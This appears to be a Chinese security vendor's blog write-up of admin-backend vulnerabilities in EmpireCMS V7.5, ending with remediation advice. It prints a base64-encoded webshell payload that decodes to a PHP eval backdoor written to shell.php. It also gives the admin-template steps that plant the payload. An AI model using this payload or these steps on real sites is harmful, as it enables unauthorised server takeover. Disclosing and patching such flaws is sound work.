网站安全检测对帝国CMS代码的后台功能性安全测试

简介: 最近我们SINE安全在对帝国CMS系统进行代码安全审计的时候,发现该系统存在网站漏洞,受影响的版本是EmpireCMS V7.5,从帝国官方网站下载到本地,我们人工对其代码进行详细的漏洞检测与安全代码分析。

最近我们SINE安全在对帝国CMS系统进行代码安全审计的时候,发现该系统存在网站漏洞,受影响的版本是EmpireCMS V7.5,从帝国官方网站下载到本地,我们人工对其代码进行详细的漏洞检测与安全代码分析。共计发现三个高危漏洞,都是在网站的后台管理页面上的功能发现的。该漏洞的产生,最根源的问题是没有对get,post提交方式进行严格的安全效验与过滤,导致可以插入恶意代码到后端服务器中去处理,导致漏洞的发生。

帝国CMS系统,简单给大家介绍一下,目前很多站长,以及企业建站,都在使用该套系统,快速,便捷,易于搜索引擎收录,采用的是B/S架构开发,php语言+Mysql数据库,支持大并发同时访问,可以承载较多的用户快速的访问网站的各个页面与内容,模板自定义化,可以设置标签与自行设计网站外观,静态html生成,还有采集功能,深受广大站长和网站运营者的喜欢。

我们SINE安全技术在对该代码进行安全检测与渗透测试的手,会先大体看下代码,熟悉整个网站的架构,数据库配置文件,以及入口调用到的文件,通常调用到的安全规则是如何写的,多个方面去大体的了解该代码,目前渗透测试中,发现的网站漏洞有:SQL注入漏洞,网站敏感信息泄露,初始化安装功能漏洞,直行平行越权逻辑漏洞,任意文件上传漏洞,登录绕过漏洞,短信验证码漏洞,找回密码漏洞,数据库备份webshell,XSS跨站,CSRF漏洞等待。

2

首先我们检测到的是帝国安装代码功能上存在可以插入恶意代码漏洞,在install安装目录下的index.php文件中,可以查到表的前缀,也就是获取前端提交过来的参数,然后继续往下看,data目录下的fun.php代码里的参数并没有做任何的安全效验,导致可以直接插入恶意代码写入到配置文件config.php中去。漏洞详情如下图:
1

后台还存在get webshell漏洞,打开后台管理功能页面,选择管理首页模板,紧接着右键点击增加首页方案中,复制漏洞exp代码:<?php $aa = _decode(ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbaHBdKTsnPnNoZWxsLnBocA)${(system)($aa)};?> 解密后是:ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbaHBdKTsnPnNoZWxsLnBocA=>echo '<?php eval($_REQUEST[hp]);'>shell.php

写到模板内容页面里,左键点击提交,再点击启用此方案,就在会e/admin/template/文件夹下生成一个shell.php文件。

3
2

关于帝国CMS漏洞的修复办法,对所有的get,post请求做安全过滤,也可以直接在eaddslashes2的参数里增加恶意代码的拦截机制,先检测后放行,该漏洞的利用条件是需要有后台管理员权限,利用的不是太多,建议对网站后台的管理目录进行更改,或者直接将管理员的密码设置的复杂一些。如果您对网站漏洞修复不是太懂的话,也可以找专业的网站安全公司来处理,国内SINE安全,启明星辰,绿盟,都是比较不错的,网站漏洞经常出现,也请网站的运营者多多关注EmpireCMS的官方,一有补丁就立即修复掉,将安全损失降到最低。

相关文章
|
21天前
|
Devops jenkins 测试技术
如何在Visual Basic项目中实施单元测试以确保代码健壮性
【7月更文挑战第2天】本文探讨了如何在Visual Basic项目中实施单元测试以确保代码健壮性。单元测试基础包括验证代码单元的功能,促进重构和提高代码质量。MSTest、NUnit和xUnit是VB.NET的单元测试工具。遵循TDD原则,保持测试独立,关注单一功能,并确保快速执行。示例展示了如何为`Calculator`类的加法方法编写MSTest。持续集成与自动化测试工具如Jenkins和Azure DevOps辅助测试运行和代码质量检查。单元测试是提升软件质量和开发效率的关键实践,反映了良好的开发文化。
21 2
|
2天前
|
测试技术 开发者
单元测试如何增加代码变更的信心
单元测试如何增加代码变更的信心
|
2天前
|
测试技术
CodeReview是否关注代码的测试覆盖率
CodeReview是否关注代码的测试覆盖率
|
1月前
|
测试技术 Python
Python教程:利用timeit模块对代码进行性能测试
在Python中,了解代码的性能是优化和改进的关键。timeit模块是Python标准库中的一个工具,用于测量代码片段的执行时间。本文将介绍timeit模块的各种接口、命令行使用方法以及如何对代码中的函数或类进行性能测试。
27 3
|
18天前
|
数据库
获取本地某文件中的以.jpg文件的名字,并导入数据库的测试代码
获取本地某文件中的以.jpg文件的名字,并导入数据库的测试代码
|
20天前
|
前端开发 开发者
移动端-------app开发02,了解apicloud功能和使用,真机测试
移动端-------app开发02,了解apicloud功能和使用,真机测试
|
21天前
|
Java 测试技术 开发者
Java中设计可测试的代码的最佳实践
Java中设计可测试的代码的最佳实践
|
22天前
|
Java jenkins 持续交付
Jenkins是开源CI/CD工具,用于自动化Java项目构建、测试和部署。通过配置源码管理、构建触发器、执行Maven目标,实现代码提交即触发构建和测试
【7月更文挑战第1天】Jenkins是开源CI/CD工具,用于自动化Java项目构建、测试和部署。通过配置源码管理、构建触发器、执行Maven目标,实现代码提交即触发构建和测试。成功后,Jenkins执行部署任务,发布到服务器或云环境。使用Jenkins能提升效率,保证软件质量,加速上线,并需维护其稳定运行。
60 0
|
25天前
|
测试技术
Appium+python自动化(三十九)-Appium自动化测试框架综合实践 - 代码实现(超详解)
Appium+python自动化(三十九)-Appium自动化测试框架综合实践 - 代码实现(超详解)
|
1月前
|
前端开发 JavaScript 算法
JavaScript事件监听测试代码
JavaScript事件监听测试代码
17 0